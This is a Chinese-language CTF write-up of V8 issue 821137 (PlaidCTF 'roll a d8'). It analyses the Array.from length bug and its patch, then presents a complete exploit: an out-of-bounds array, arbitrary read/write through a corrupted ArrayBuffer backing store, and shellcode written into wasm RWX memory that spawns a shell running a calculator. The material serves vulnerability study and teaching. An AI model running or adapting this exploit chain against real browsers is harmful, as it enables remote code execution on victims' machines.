Issue 821137: OOB read/write using Array.prototype.from

徘徊在安全的门外很久,向前踏一步,走进Browser的世界。


环境准备

切换版本并进行编译。

git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

漏洞分析

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let oobArray = [];
//%DebugPrint(oobArray);
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//console.log('oobArray length : ' + oobArray.length)
oobArray[oobArray.length - 1] = 0x41414141;

用d8运行poc.js

griffin@griffin-pwntools:~/browser/poc/roll_a_d8$ ~/browser/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./poc1.js 
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 96
# Debug check failed: index < this->length() (8223 vs. 0).
#
#
#
#FailureMessage Object: 0x7ffe34faefa0

可以看到Debug check对this->length进行检测并报错。
尽管在POC的最后一次迭代中把obbArray的length设置为了0,但是实际打印出来是8224。

console.log('oobArray length : ' + oobArray.length)    //8224

既然oobArray的length为8224,那么为什么oobArray[oobArray.length - 1] = 0x41414141还会引起崩溃呢。
把这句话注释掉并进行调试。虽然oobArray的length还是8224,但是其element以及properties已经指向空数组。

pwndbg> job 0x2e06a9e8da91
0x2e06a9e8da91: [JSArray]
 - map: 0x163ce4082571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0xe72b9285539 <JSArray[0]>
 - elements: 0x3f218a182251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0x3f218a182251 <FixedArray[0]> {
    #length: 0x3f218a1cff89 <AccessorInfo> (const accessor descriptor)
 }
pwndbg> job 0x3f218a182251
0x3f218a182251: [FixedArray] in OldSpace
 - map: 0x11fde9282361 <Map>
 - length: 0

此时

  • JSArray结构中的length为8224
  • JSArray结构中element,properties指向的FixedArray为空,length=0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    void FixedArray::set(int index, Object* value) {
    DCHECK_NE(GetHeap()->fixed_cow_array_map(), map());
    DCHECK(IsFixedArray());
    DCHECK_GE(index, 0);
    DCHECK_LT(index, this->length());
    int offset = kHeaderSize + index * kPointerSize;
    RELAXED_WRITE_FIELD(this, offset, value);
    WRITE_BARRIER(GetHeap(), this, offset, value);
    }

正是在对FixedArray进行操作时DCHECK_LT(index, this->length())检测到了错误。
而oobArray[oobArray.length-1]=0x41414141这句指令,会调用FixedArray::set,length-1就是index,0x41414141就是value。
对于index最大可以是8223,而this.length()却为0。由于在release版本中没有DCHECK,所以会造成越界访问。

Patch分析

diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
   void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                          TNode<Number> length) {
     Label fast(this), runtime(this), done(this);
+    // TODO(delphick): We should be able to skip the fast set altogether, if the
+    // length already equals the expected length, which it always is now on the
+    // fast path.
     // Only set the length in this stub if
     // 1) the array has fast elements,
     // 2) the length is writable,
-    // 3) the new length is greater than or equal to the old length.
+    // 3) the new length is equal to the old length.

     // 1) Check that the array has fast elements.
     // TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
       // BranchIfFastJSArray above.
       EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

-      // 3) If the created array already has a length greater than required,
+      // 3) If the created array's length does not match the required length,
       //    then use the runtime to set the property as that will insert holes
-      //    into the excess elements and/or shrink the backing store.
-      GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+      //    into excess elements or shrink the backing store as appropriate.
+      GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

       StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                      length_smi);

可以看到更改的是src/builtins/builtins-array-gen.cc文件,把SmiLessThan改为了SmiNotEqual,只要两者不相同就会运行&runtime。
原本调试是小于则跳转。所以漏洞应该就是当length_smi>old_length的时候出现。

源码分析

我们找到漏洞版本的该段代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);

BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);

TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

Goto(&done);
}

BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}

BIND(&done);
}
};

代码中存在很多CodeStubAssembler代码。
以下是一些常见用法

  • F_BUILTIN:创建一个函数
  • Label:声明将要用到的标签名,这些标签名将作为跳转的目标
  • BIND:绑定标签(相当于将一个代码块和一个标签名绑定,跳转时就可以使用标签名跳转到相应代码块)
  • Branch:条件跳转指令
  • VARIABLE:定义一些变量
  • Goto:跳转
  • CAST:类型转换
  • CALLJS:调用给定的JS函数

这段代码逻辑是首先判断array是否有fast element,在poc中进入到了&fast中。
接着如果length_smi < old_length,就跳转到&runtime,否则执行StoreObjectFieldNoWriteBarrier。
&runtime会进行内存的缩减,而StoreObjectFieldNoWriteBarrier则将length_smi赋值给JSArray的Length。
在StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,length_smi)函数中,length_smi是迭代次数,JSArray则是对应的oobArray。
去上层找一下什么地方调用了GenerateSetLength函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));//获得参数

CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

TNode<Object> map_function = args.GetOptionalArgumentValue(1);

// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);

BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error);
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items);

TVARIABLE(Object, array);
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);
//如果可以迭代则跳转到&iterable
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0)); // index循环次数设置为0
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);

BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
// 返回一个数组,用于存储迭代后的结果
array = ConstructArrayLike(context, args.GetReceiver());

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);
//迭代开始
BIND(&loop);
{
// Loop while iterator is not done.
// 判断循环是否结束
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value());

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}

BIND(&loop_done); //循环结束
{
length = index; //把循环次数赋值给length
Goto(&finished);
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));

// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());

TVARIABLE(Number, index, SmiConstant(0));

GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);

value = GetProperty(context, array_like, index.value());

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}

// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}

BIND(&finished);

// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value()); //array存储迭代后结果,length为迭代次数。
args.PopAndReturn(array.value());
}

从POC来看,在最后一次迭代中oobArray.length变为0,但是在调用GenerateSetLength函数时,传入的length为迭代次数。

1
2
3
4
5
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
...
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,length_smi);

此时length_smi为传入的迭代次数,而old_length为array的length。
所以不执行GotoIf,转而执行StoreObjectFieldNoWriteBarrier把array的length设置为了length_smi,导致array的length属性设置为了8224,element和properties还是length设置为0时导致的置空,实现越界访问。


v8内存模型

JSObject

JavaScript 对象会在堆上(根据需求)分配恒定大小的空间:

  • 预分配(不超过)一定大小的空间用作对象内属性存储(inobject_properties)。
  • 预分配空间不足时(无空闲 slot),新增属性会存储在 properties 内。
  • 数字式属性存储在 elements 内。
  • properties/elements 空间不足时会创建(拷贝)一个更大的 FixedArray。
    001
    在添加数字属性时,添加进elements中。而添加字符属性时会优先添加进inobject_properties,当满了之后会添加到properties中。
    V8通过Map了解空间分配与空间结构的状况。
    002
    如图,在一个Map结构中,有以下字段:
  • type: 表述了堆内实例是一个 JSObject 对象
  • inobject properties:对象内存储空间(包含未使用的slots)
  • unused property fields:未使用的属性存储空间
  • instance size:实例(在堆内)的大小
  • constructor:对象构造器
  • prototype:对象原型
  • stable[dictionary]:对象当前状态(stable_map为快速模式,dictionary_map为字典模式)

ArrayBuffer && TypedArray

  • ArrayBuffer:ArrayBuffer对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer不能直接操作,而是要通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。
  • TypedArray:用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float64Array(64位浮点数)数组视图等等。

003
其中BackingStore指向ArrayBuffer开辟的内存空间。
如果能够修改BackingStore指针,则可以进行任意读写。


漏洞利用

内存类型转换

在64位环境下,并不存在 Uint64Array 类型。直接读取8字节只能用读 Float64Array 或者读两个 Uint32Array 。由于 Float64Array 在内存中不直观。为了能够更方便操作,对 Uint64ArrayFloat64Array 进行转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var tC = new typeConvert();

构造越界访问数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
let oobArray = [1.1];  
let arrays=[];
let objs=[];
let maxSize = 1028 * 8;

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0xabcd);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
for(let i=0; i<=maxSize; i++) {let x = oobArray[i]}; //对于GC回收机制没怎么研究,在我实际利用过程中,这句话不加会对下面的过程产生不同,但是也能完成利用。

该部分借用了POC部分内容并进行修改。在最后一次迭代中,创建了若干ArrayBuffer以及普通JS对象并放进arrays以及objs。

搜索可控对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
let backing_store;
let controllable_buf_index;
for(let i=0;i<maxSize;i++){
let val = tC.f2u(oobArray[i]);
if(val===0xabcd00000000){
backing_store = i + 1;
console.log("[*] find target ArrayBuffer length in oobArray number ["+i+"]");
oobArray[i] = tC.u2f(0xbeef00000000);
break;
}
}

for(let i=0; i<arrays.length; i++){
let val = arrays[i].byteLength;
if(val === 0xbeef ){
console.log("[*] find target ArrayBuffer number ["+i+"]");
controllable_buf_index=i;
break;
}
}

let controllable_obj_index;
let obj_offset;

for(let i=0;i<maxSize; i++){
let val = tC.f2u(oobArray[i]);
if(val===0x123400000000){
obj_offset = i;
console.log("[*] find target objecets.a's value in oobArray number ["+i+"]");
oobArray[i] = tC.u2f(0xaaaa00000000);
break
}
}

for(let i=0;i<objs.length;i++){
let val = objs[i].a;
if(val===0xaaaa){
console.log("[*] find target objs number ["+i+"]");
controllable_obj_index = i;
break;
}
}

对于ArrayBuffer,我们对oobArray[i]的内存进行搜索,如果其内容是0xabcd00000000则代表oobArray[i]是某ArrayBuffer的length,oobArray[i+1]就是该ArrayBuffer的BackingStore。再把oobArray[i]进行修改后对arrays[j]进行搜索,找出该oobArray[i]是哪个arrays[j]的length,则成功找到可控arrays的index。

对于普通JS对象,我们对oobArray[i]的内存进行搜索,如果内容是0x123400000000则代表oobArray[i]是objs[i].a的内容,对其进行修改后能够泄露出该obj的index。

任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class ArbitraryRW
{
leakObj(obj){
objs[controllable_obj_index].a = obj;
return tC.f2u(oobArray[obj_offset]) - 0x1;
}
read(addr){
oobArray[backing_store] = tC.u2f(addr);
oobArray[kbitfield] = tC.u2f(addr);
let tmp = new Float64Array(arrays[controllable_buf_index],0,0x10);
return tC.f2u(tmp[0]);
}
write(addr,val){
oobArray[backing_store] = tC.u2f(addr);
oobArray[kbitfield] = tC.u2f(addr);
let tmp = new Float64Array(arrays[controllable_buf_index],0,0x10);
tmp[0] = tC.u2f(val);
}
}
let wr=new ArbitraryRW();

`

leakObj能够泄露任意对象的地址。read和write分别是任意读写。

如何Get Shell

在常规Pwn中,通常泄露Libc之后修改malloc_hook为one_gadget。但是要针对不同版本的Libc做出不同的偏移,不能通用。
所以在此使用Wasm。
Wasm是一种可以让JS执行机器码的技术,我们可以借助Wasm来写入自己的shellcode。

wasmCode是在wasm生成网站上生成的。
wasmCode执行的是:

1
2
3
int main() { 
return 42;
}

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
`

测试一下该段代码

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
let d = f();
console.log(d);

确实成功打印了42。
调试一下wasm运行流程。
经过调试发现为 wasmInstance.exports.main f->shared_info->code+0x70 。
所以先要把wasmInstance.exports.main泄露,再去找sharedInfo,Code,Code+0x70。这块地方就是RWX内存区域(真正存储wasmCode的地方)。
如果我们把shellcode写入这块地方,则调用wasmInstance.exports.main时会运行shellcode。
写个弹计算器的shellcode。
004

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var tC = new typeConvert();

function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}


let oobArray = [1.1]; //float
let arrays=[];
let objs=[]; //for leak
let maxSize = 1028 * 8; //8224

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0xabcd);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
//%DebugPrint(array);
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//readline();

for(let i=0; i<=maxSize; i++) {let x = oobArray[i]}; //trigger the GC


let backing_store;
//let kbitfield;
let controllable_buf_index;
for(let i=0;i<maxSize;i++){
let val = tC.f2u(oobArray[i]);
if(val===0xabcd00000000){
backing_store = i + 1;
//kbitfield=backing_store+1;
console.log("[*] find target ArrayBuffer length in oobArray number ["+i+"]");
oobArray[i] = tC.u2f(0xbeef00000000);
//oobArray[i+3] = tC.u2f(0xbeef);
break;
}
}
//console.log(hex(tC.f2u(oobArray[9])));
for(let i=0; i<arrays.length; i++){
//console.log(arrays[i].byteLength);
let val = arrays[i].byteLength;
if(val === 0xbeef ){
console.log("[*] find target ArrayBuffer number ["+i+"]");
controllable_buf_index=i;
break;
}
}

let controllable_obj_index;
let obj_offset;

for(let i=0;i<maxSize; i++){
let val = tC.f2u(oobArray[i]);
if(val===0x123400000000){
obj_offset = i;
console.log("[*] find target objecets.a's value in oobArray number ["+i+"]");
oobArray[i] = tC.u2f(0xaaaa00000000);
break
}
}

for(let i=0;i<objs.length;i++){
let val = objs[i].a;
if(val===0xaaaa){
console.log("[*] find target objs number ["+i+"]");
controllable_obj_index = i;
break;
}
}

class ArbitraryRW
{
leakObj(obj){
objs[controllable_obj_index].a = obj;
return tC.f2u(oobArray[obj_offset]) - 0x1;
}
read(addr){
oobArray[backing_store] = tC.u2f(addr);
//oobArray[kbitfield] = tC.u2f(addr);
let tmp = new Float64Array(arrays[controllable_buf_index],0,0x10);
return tC.f2u(tmp[0]);
}
write(addr,val){
oobArray[backing_store] = tC.u2f(addr);
//oobArray[kbitfield] = tC.u2f(addr);
let tmp = new Float64Array(arrays[controllable_buf_index],0,0x10);
tmp[0] = tC.u2f(val);
}
}
let wr=new ArbitraryRW();

//let wr = new ArbitraryRW();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
//%DebugPrint(f);

let asm_addr=wr.leakObj(f);
console.log("[*] address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("[*] sharedInfo addresss ="+hex(sharedInfo));
console.log("[*] functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
//readline();
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();

参考文章

扔个骰子学v8 - 从Plaid CTF roll a d8开始
v8利用入门:从越界访问到RCE
v8 exploit入门[PlaidCTF roll a d8]
V8 内置函数用CodeStubAssembler写法介绍
V8 是怎么跑起来的 —— V8 中的对象表示